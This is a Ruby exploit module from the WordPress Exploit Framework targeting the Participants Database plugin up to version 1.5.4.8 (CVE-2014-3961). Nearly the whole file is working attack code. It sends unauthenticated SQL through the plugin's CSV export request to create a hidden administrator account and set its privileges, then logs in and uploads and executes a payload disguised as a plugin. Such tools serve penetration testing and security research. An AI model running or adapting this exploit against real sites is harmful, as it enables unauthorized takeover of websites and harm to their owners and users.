lib/wpxf/modules/exploit/shell/participants_database_v1.5.4.8_shell_upload.rb
# frozen_string_literal: true
class Wpxf::Exploit::ParticipantsDatabaseV1548ShellUpload < Wpxf::Module
include Wpxf
include Wpxf::WordPress::Plugin
def initialize
super
update_info(
name: 'Participants Database <= 1.5.4.8 Shell Upload',
desc: %(
In versions <= 1.5.4.8 of the Participants Database, anonymous users
are able to execute arbitrary SQL statements. This module utilises
this vulnerability to create a new admin user and upload a payload
masked as a plugin.
),
author: [
'Yarubo Research Team', # Vulnerability discovery
'rastating' # WPXF module
],
references: [
['CVE', '2014-3961'],
['WPVDB', '7247'],
['EDB', '33613']
],
date: 'Aug 01 2014'
)
register_options([
StringOption.new(
name: 'sign_up_path',
desc: 'The relative path of the Participants Database sign up page',
required: true
),
StringOption.new(
name: 'wp_prefix',
desc: 'The database table prefix. Default: wp_',
required: true,
default: 'wp_'
),
IntegerOption.new(
name: 'user_id',
desc: 'The ID number to use for the new admin account',
required: true,
default: (60_000..90_000).to_a.sample
),
StringOption.new(
name: 'username',
desc: 'The username to use for the new admin account',
required: true,
default: Utility::Text.rand_alpha(6)
),
StringOption.new(
name: 'password',
desc: 'The password to use for the new admin account',
required: true,
default: Utility::Text.rand_alpha(6)
),
StringOption.new(
name: 'email',
desc: 'The e-mail address to use for the new admin account',
required: true,
default: Utility::Text.rand_email
)
])
end
def check
check_plugin_version_from_readme('participants-database', '1.5.4.9')
end
def sign_up_url
normalize_uri(full_uri, datastore['sign_up_path'])
end
def user_id
normalized_option_value('user_id')
end
def hexified_username
"0x#{Utility::Text.hexify_string(datastore['username'])}"
end
def password_hash
Utility::Text.md5(datastore['password'])
end
def hexified_password_hash
"0x#{Utility::Text.hexify_string(password_hash)}"
end
def hexified_email
"0x#{Utility::Text.hexify_string(datastore['email'])}"
end
def table_name(name)
"#{datastore['wp_prefix']}#{name}"
end
def new_user_sql
[
"insert into #{table_name('users')}",
'(ID, user_login, user_pass, user_nicename, user_email, user_status, display_name)',
'values',
"(#{user_id}, #{hexified_username}, #{hexified_password_hash}, #{hexified_username}, #{hexified_email}, 0, #{hexified_username});"
].join(' ')
end
def user_meta_sql(key, value)
[
"insert into #{table_name('usermeta')}",
'(user_id, meta_key, meta_value) values',
"(#{user_id}, 0x#{Utility::Text.hexify_string(key)}, 0x#{Utility::Text.hexify_string(value)})"
].join(' ')
end
def execute_sql_query(query)
builder = Utility::BodyBuilder.new
builder.add_field('action', 'output CSV')
builder.add_field('subsource', 'participants-database')
builder.add_field('CSV_type', 'participant list')
builder.add_field('query', query)
builder.create do |body|
execute_post_request(url: sign_up_url, body: body)
end
end
def update_user_meta(key, value)
execute_sql_query(user_meta_sql(key, value))
end
def execute_payload
emit_info 'Uploading the payload...'
cookie = authenticate_with_wordpress(datastore['username'], datastore['password'])
res = upload_payload_as_plugin_and_execute(Utility::Text.rand_alpha(6), Utility::Text.rand_alpha(6), cookie)
res&.code != 404
end
def run
return false unless super
emit_info 'Creating a new user...'
execute_sql_query(new_user_sql)
emit_info 'Elevating user privileges...'
update_user_meta('wp_user_level', '10')
update_user_meta('wp_capabilities', 'a:1:{s:13:"administrator";b:1;}')
execute_payload
end
end